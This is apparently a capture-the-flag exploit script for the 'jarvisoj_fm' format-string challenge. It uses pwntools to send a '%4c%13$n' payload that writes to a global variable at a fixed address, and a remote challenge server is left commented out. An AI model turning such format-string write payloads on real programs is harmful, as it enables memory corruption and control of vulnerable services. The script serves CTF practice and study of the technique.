jarvisoj_fm[FmtStr]

exp

from pwn import *

context.log_level = 'debug'
                                                                                                         
def debug_pause():
    log.info(proc.pidof(p))
    pause()

proc_name = './fm'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 26659)
x_addr = 0x804a02c
payload = flat(['%4c%13$n', p32(x_addr)])
# payload = b'a' * 4 + b'-%x' * 20
p.send(payload)
p.interactive()